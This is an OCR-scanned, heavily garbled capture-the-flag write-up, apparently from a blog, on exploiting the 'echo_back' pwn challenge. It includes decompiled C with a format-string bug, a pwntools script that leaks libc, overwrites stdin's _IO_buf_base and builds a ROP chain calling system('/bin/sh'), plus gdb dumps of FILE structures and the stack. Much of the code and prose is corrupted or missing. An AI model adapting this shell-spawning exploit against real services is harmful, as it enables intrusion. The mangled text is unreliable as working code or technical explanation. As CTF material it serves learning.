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unsigned inted  fastcall echo _back( BYTE *al)

{
size t nbytes; // [rsp+1Ch] [rb
unsigned inted v3; // [rsp+28

]

e |

14h]
[rbp-8h]

v3 = _ readfsqword(@x28u);
memset((char *)}&nbytes + 4, @, 8ulLl);
printf("length:", @LL);

_is0c99 scanf("%d", &nbytes);

getchar();
if ( (nbytes & 0x80000000) != OLL || (signed int)nbytes > 6 )
LODWORD(nbytes) = 7; // REEMATFET
read(@, (char *)&nbytes + 4, (unsigned int)nbytes);
if ( *al )
printf("%s say:", al);
else
printf("anonymous say:", (char *)&nbytes + 4);
printf((const char *)&nbytes + 4); // WEHALTFE R R RE
return _ readfsqword(@x28u) ~ v3;
¥
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1. B_I0_buf_based™ K% N\ F 7R 5 £

2. #H—EH%_10_buf base5 |0 _buf endszIitsEMES

S2H

process(
remote( , 38784)

debug = 1
if debug:
context.log_level

elf = ELF( )
libc = ELF( )
0x0000000000000d93
oxc6¢e
libc.symbols|
context.terminal [
gdb.attach(p)

def echo_back(size, con):
p.sendlineafter(
p.sendlineafter(
p.send(con)

def name(name):
p.sendlineafter(
p.sendafter( , hame)

(p.recvuntil( ).split( )[@], 16) 240
(libc_s_m_addr)

libc_s_m_addr libc.symbols|
libc.symbols| ] offset
N libc.search( ). @) offset
I0_stdin_addr I0_stdin offset
print (offset)

(p.recvuntil( , drop=True), 16) oxdes
prdi elf base

echo_back(7,

p.recvuntil( )

main_ebp (p.recvuntil( , drop=True), 16)
main_ret main_ebp + Ox8




I0 buf_base IO stdin_addr + 0x8 7
print (IO _buf_base)
name (p64(I0_buf base))
echo_back(7, )

payload p64(I0_stdin_addr 131) 3 p64(main_ret) p64(main_ret 3 ox8)
p.sendlineafter( ) )
, payload)

(o, (E)AELD) 1):
p.sendlineafter(

p.sendlineafter(
p.sendlineafter(
p.sendlineafter( , p64(prdi) p64(bin_sh) p64(system))

p.sendline("")

p.sendlineafter(

p.interactive()
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FEF ek P ctri+cBk i, B35 7E Il 4 # gdb.attach(io)
3k Elpwndbg i i 71 i #2 El pie 5 i B AR AL B

axfrffffffrffffeoo
0x0
< cmp rax,

Ox2
Ox0

ox0

ax7ffff7fde700
Ox9
Ox0
0x246

ebp, ebp

RSP
RIP

4+ MOVZX
<+ cmp rax,
> Ox7FFff7bo4260
Ox7ffff7bo4266

l

<__read_nocancel+7>
< read_nocancel+13>

cmp
jae

rax,
read+7

<read+73>
<read+80=>
<read+82>
<read+85>
<read+89>

ax7ffff7be4299
Ox7ffff7bo42a0
Ox7ffff7bo42az2
ax7ffff7beazas
ax7ffff7bed4z2ao

mov
neg
mov
or

ret

eax

rax,

ax7ffff7bo42aa

ax7ffffvbeazbe

Ox7ffff7bo42b7
L

nop
cmp
jne

<Wwrite>
<write+7>

5

8

Ox7ffff7b042c9 <write+25> ub

rsp,
10000
:0008
:0010
:0018
10020
:0028
0030
:0038

rsp 4 MOVIX

rsi axe
0x811feebfd6d7eedd
—» 0X
pop

rbp

mov
push

vvvyv ity

7ffff7be4260 _ read nocancel+7
555555554ad4

555555554b43

555555554ccd

7ffff7a2d83e _ libc start main+240

YN

JE =himi R AL, HIHE B RALLE, fEecho_backik [l Al

LSV

: 000000000000BC6A |
: 000000000008BC6A
: 000000000008BC6A
: 0000000000008 C6A

locret CoA:
leave
retn
; ¥ // starts at B8O

2
3

-Oxfff

<+ push ris

eax, byte ptr [rbp - 0x10]

-OxfFf

-Oxfff

< -

rcx, gword ptr [rip + @x2ccbdg]

dword ptr fs:[rcx], eax

word ptr [rax + rax]
dword ptr [rip + Ox2d2489], 0 <
write+25

= =

eax, byte ptr [rbp - 0x18]

< push ris
rbp
<+ push ris
dword ptr [rbp - 0x14], eax
ris
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; CODE XREF: echo_back+E

b *@x555555554c6a
r




AT alRiR

b *Bx555555554c6a
Breakpoint 1 at ©x555555554c6a
r
Starting program: /mnt/hgfs/adworld/echoback/echo back

T _
U N N PN [ R (R

Welcome to CyberPeace echo-back service!

1. set name
2. echo back
3. exit
choice>> 2
length:7
aaaaaal]

RIMAEFEBErsp13x84bA _ libc_start_main, Wit EE H k48 Fllibck ik
HH S rsp8x84b A W GE ik, i FE1S B elfFE bt
FE B rsp7 x84 A rbpMI A 2, B Amaintkiifrop &, MAE+8TT LA1E Blmainfi)ik (=] Hb bk

ebp, dword ptr [rsi] /*

Bxa32 /[*

0x7e3153c00

Oxa616161616161 [* 'aaaaaa\n' */
0x272afa2ce3153c00

<+ jmp

Ox200000000
Ox0
0x272afa2ce3153co0

<+ mov edi, eax

& <+ '/mnt/hgfs/adworld/echoback/echo_back'’
ox1f7ffccad
<+ push rbp
0x0
oxdf9f4b273c95eees

>
>
-—
-+
-
-»
—»
—»
-
-«
-
—»
—»
-+
-
-
-»
-
“

Sei i libc_start_main+240/ B fhtuht, M%13$pIFaaiRkkigin, HE194 & TATENH REANVEZEKE, i bRht s ae it
7 BEE R KR printfE 6411 T HI61N S M e WA 788 X

_10_new _file_underflow():& %A _I0_SYSREAD()HIEEMBEBEN, TEHWN THTFEST &4



if (fp->_I0 read ptr < fp-> IO read _end)
return *(unsigned char *) fp->_ IO read_ptr;

count = IO SYSREAD (fp, fp->_ IO buf base,
fp->_I0 buf_end fp->_I0 buf base);

fp->_I0_read_end count;

BATT A EEEFEsAINIFILES W, AKX ERFER_I0_buf_basefE—ANF B0, XFETE_IO_SYSREADF H5 #
AR ZHZR, GAEpP->_10_buf based, #—PWaEEHZH P HI_I0_buf base Imain® iR Bltbt, FEBHFRAE
IO_read_end& KT _IO_read_ptr, MFESEXAFKMAME T —REA (BmainRK R EIMbE) BEEM, &AERLMEK
maini FOR [5 H k.

T EAFILE R Z B0 Al

p _I0 2 1 stdin_

= {
_flags = -72540021,
_I0_read_ptr = 0A7ffff?dd19o4 < I0 2 1 stdin_+132> "",
_I0 read end = @x7ffff7dd1964 < ID_2 “stdin_+132> "",

_I0_read_base = Ox7ffff7dd1963 < I0 2 1 stdin_+131> "\n",
"I0 write base = @x7ffff7dd1963 < 10 2 1 stdin_+131> "\n",
_I0_write _ptr = Ox7ffff7dd1963 <_ ~1 stdin_+131> "\n",
_I0 write_end Ox7ffff7dd1963 < “stdin_+131> "\n",
_I0_buf_base = @x7ffff7dd1963 < tdin_+131> "\n",
_I0 buf _end = ex7ffff7dd1964 <_ tdin_+132> "",
_I0_save_base = 0x0,
_I0 backup base = ox@,
_I0_save_end = 0x0,
_markers = 0x0,
_chain = @xo,
_fileno e,
_flagsz = @,
old foﬁet = -1,
_cur_column =0,
_vtable offset = 0 '\eea',
_shortbuf = "\n",
_lock = ox7ffff7dd3790 < I0 stdfile 8 lock=,
_offset = -1,
_codecvt = 0x0,
_wide _data = @x7ffff7dd19c® <_I0 wide _data_ o>,
_freeres_list = 0x@,
_freeres_buf = 0x0,
__pads = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
1,
vtable = ax7ffff7ddasces < I0 file ]ump m

log.csdn.ne

}

B _I0_buf bases, W LAIEEIE&Z W] LUIAOXGANFT, FH AT LAAOX7f2bc69eb900 (1A4FA_IO_write_base) FFifH7E

cholce>>

10_buf_base : (EYAFINTEITERE]

p _I0 2 1 stdin_

$1 = {
file = {
_flags = -725400821,
_I0_read_ptr = @x7f2bc69eb964 < in_ > ",
_I0 read end = @x?fabco9eb904 = in_ > "




_I0 write _base = @x7f2bc69eb963 < I0 2 1 stdin_+131> "\n",
_I0_write_ptr 0x7f2bc69eb963 < I0 2 1 stdin_+131> "\n",

_I0 write_end 0x7f2bc69eb963 < I0 2 1 stdin_+131= "\n",

_I0 buf_base = 0x7f2bc69ebo0e < I0 2 1 stdin_+32> "c\271\236\306+\177",
_I0 buf _end = @x7f2bc69eb964/< 10 2 1 stdin +132> "",

_I0_save_base = 0x0,

_I0 backup base = ox@,

_I0_save_end = 0x0,

_markers = 0x0,
_chain = @xo,
_fileno a,
_flags2 = 0,
_old offset -1,

_cur_column = @,

_vtable offset = 0 '\eea',

_shortbuf = "\n",

_lock = 0x7f2bc69ed790 < I0 stdfile 8 lock=,
_offset = -1,

_codecvt = 0x0,

_wide _data = @x7f2bc69eb9cd < _I0 wide data o>,
_freeres_list = 0x0,

_freeres_buf = 0x0,

__pads = 0,

_mode = -1,

_unused2 = '\@00' <repeats 19 times=>

EEAFAE R T S [PDAT T, https://blog.csdn.netixidoo1234

H—PEHE, WUET_I0 _buf_basefdZmainE KR EIHbE, AL —EH#A3Ix8ANFH (pop_rdi_ret+bin_sh+system_addr)

p _I0 2 1 stdin_
$2 = {
file = {

_flags = -72540021,
_I0 read ptr = 0x7f2bc69eb981 < I0 2 1 stdin_+33> "\271\236\306+\177",
_I0 read end @x7f2bc69eb928 < 10 2 1 stdin_+72> "",
_I0_read_base = 0x7f2bc69eb98® < I0 2 1 stdin_+32> "c\271\236\306+\177",
_I0 write base = @x7f2bc69eb963 < 10 2 1 stdin_+131> "\n",
_I0 write_ptr = 0x7f2bc69eb963 < I0 2 1 stdin_+131> "\n",

10 write end = 0x7f2bc69eb963 < 10 2 1 stdip +131= "\n",
_I0 buf_base = 0x7ffd11495c68 "exd\306+\177",
_I0 buf end = @x7ffd11495c80 "\2401\301\306\001",
_1u_SdveE_UdsE = UAU,
_I0 backup base = ox@,
_I0_save_end = 0x0,
_markers = 0x0,
_chain = @xo,
_fileno a,
_flags2 = 0,
_old offset -1,
_cur_column = @,
_vtable offset = 0 '\eea',
_shortbuf = "\n",
_lock = 0x7f2bc69ed790 < I0 stdfile 8 lock=,
_offset = -1,
_codecvt = 0x0,
_wide _data = @x7f2bc69eb9c®d <_I0 wide data 0>,
_freeres_list = 0x@,
_freeres_buf = 0x0,
__pads = 0,
_mode = -1,
_unused2 = '\@00' <repeats 19 times=>

Ox7f2bc69eated I0_file_jumps
- —Junps> hitps://blog.csdn.netfxidoo1234




s oD

"I0 read pt Ox7fffe989358a "\267MQ\177",
_I0_read_end = 0x7fffe989358a "\267MQ\177",

"
A T AU Wdas — WAT L A AT oI LT

_I0_write_base = 0x7fffe9893588 "@\n\267MQ\177",
"I0 write ptr = @x7fffe9893588 "0\n\267MQ\177",
_I0 _write_end = @x7fffe9893588 "@\n\267MQ\177",
"I0 buf base = Bx7fffe9893588 "@\n\267MQ\177",
_I0_buf_end = @x7fffe98935a0 "\240|\024N\001",
_I0 save base = 0x0,
_I10_backup_base = 0xe0,
_I0 save_end = 0x0,
_markers = 0x80,
_chain = ox@,
_fileno = 0,
_flagsz = o,
_old_offset = -1,
_cur_column a,
_vtable_offset = 0 '\@a@e’',
_shortbuf = "\n",
_lock = @x7f514df1e790 < I0 stdfile © lock=>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 8x7f514df1c9cO® <_I0 wide data_ 0>,
_freeres_list = 0x0,
_freeres_buf = axo,
__pads = @,
_mode = -1,
_unused2 = '\POO' <repeats 19 times>

1,

vtable = 8x7f514dfib6ed q_ID_filehJ

1

> Ox5640a5aa2d23

0x5640a5aaz2dz24

1
0x5640a5aa2d93
Ox5640a5aa2d9o4

i
Ox7f2bc666c390 <system=
Ox7f2bc666Cc393 <system+3>

Ox7f2bc666Cc395 <system+5=>

1
@x7f2bc666be2d <do systems>
@x7f2bc666be22 <do_system+2>
@x7f2bce66be23 <do system+3>
@x7f2bc666be25 <do_system+5=>

66
66

00:0000| rsp ffd114 6 —»
01:0008 T <+ Ox300000001
02:00160 . —»

<+ pop di
03:0018 E Ffd < Ox6f4f8b821dce2600
04:0020 5 <+ push ris
05:0028 FTd1 <+ po rdi
06:0030 Ffid < 0x68732f6e69622f [/* '/bin/sh' */
07:0038 Ffd1 + test rdipg
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